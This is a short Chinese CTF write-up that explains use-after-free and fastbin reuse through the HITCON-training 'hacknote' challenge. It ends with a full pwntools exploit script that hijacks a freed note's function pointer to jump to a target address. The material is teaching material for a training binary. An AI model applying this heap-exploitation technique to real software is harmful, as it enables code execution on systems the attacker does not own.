Use After Free
Use After Free 译为free之后的使用
内存块被释放后,其对应的指针没有被设置为NULL
这给我们修改并且执行被释放内存的机会
这里利用了堆的fastbin机制
fastbin为了快速的利用堆空间,将较小的chunk统一管理
具体是把相同大小的chunk单向链表连接,并且满足后进入链表的chunk会先被使用
这有点类似stack的后进先出
HITCON-training lab 10 hacknote
应该主要有3个功能
1.增加note
2.删除note
3.打印note内容
一般来说我们最关心的就是删除note操作,如下
我们发现 删除操作仅仅是把一哥note的head和内容给free掉 并没有将notelist指向NULL
这样的话我们就可以通过删除后的添加 使得添加的note的head和内容指针指向被释放的chunk地址
具体操作如下,可以模拟一下
(截图自https://wiki.x10sec.org/pwn/heap/use_after_free/#_4)
遇到其他类似的题目 只需要申请多个note(head)大小的东西 删除后再申请
使得某原函数(这里是puts)指针指向我们想跳转的地方即可
from pwn import * io=process('./hacknote') # io=remote('111.186.57.117',50202) def add_note(size,note): io.sendlineafter('choice :','1') io.sendlineafter('size :',str(size)) io.sendlineafter('Content :',note) def del_note(num): io.sendlineafter('choice :','2') sleep(0.5) io.sendline(str(num)) def print_note(num): io.sendlineafter('choice :','3') sleep(0.5) io.sendline(str(num)) magic_addr=0x08048986 add_note(16,'aaaa') add_note(16,'bbbb') del_note(0) del_note(1) add_note(8,p32(magic_addr)*2) print_note(0) io.interactive()